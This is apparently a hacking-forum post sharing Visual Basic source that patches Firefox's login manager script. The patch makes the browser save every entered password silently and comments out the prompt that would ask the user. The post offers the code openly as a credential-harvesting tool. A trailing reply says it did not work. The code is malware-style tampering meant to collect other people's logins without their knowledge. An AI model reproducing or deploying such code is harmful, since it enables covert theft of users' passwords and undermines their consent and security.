Thread: [src] Firefox Auto Save Passwords

Code:

'FirefoxAutoSavePasswords.bas by Mr52 / 7
'Leave Me Credits if using
'http://h7labs.org
'Thanks for lobe for idea :)

Public Sub firefoxAutoSave()
Dim fPath As String
Dim fVer As String
Dim nJS As String
Dim oStr As String, rStr As String
Dim a As Integer, i As Integer
Dim tmp As String
fVer = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox\CurrentVersion")
fPath = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox\" & fVer & "\Main\Install Directory")
nJS = FileText(fPath & "\components\nsLoginManagerPrompter.js")
oStr = "var pwmgr = this._pwmgr;"
rStr = oStr & vbCrLf & "pwmgr.addLogin(aLogin);"
tmp = Replace(nJS, oStr, rStr)
tmp = Replace(tmp, "this._showLoginNotification(aNotifyBox", "//this._showLoginNotification(aNotifyBox")
tmp = Replace(tmp, "notificationText, buttons);", "//notificationText, buttons);")
Open fPath & "\components\nsLoginManagerPrompter.js" For Output As #1
Print #1, , tmp
Close #1
End
End Sub
Public Function RegRead(Path As String) As String
On Error Resume Next
Dim ws As Object
On Local Error GoTo ErrHandler
Set ws = CreateObject("WScript.Shell")
RegRead = ws.RegRead(Path)
Exit Function
ErrHandler:
RegRead = ""
End Function
Function FileText(ByVal filename As String) As String
    Dim handle As Integer
   
    ' ensure that the file exists
    If Len(Dir$(filename)) = 0 Then
        Err.Raise 53   ' File not found
    End If
   
    ' open in binary mode
    handle = FreeFile
    Open filename$ For Binary As #handle
    ' read the string and close the file
    FileText = Space$(LOF(handle))
    Get #handle, , FileText
    Close #handle
End Function

Failed..... Not worked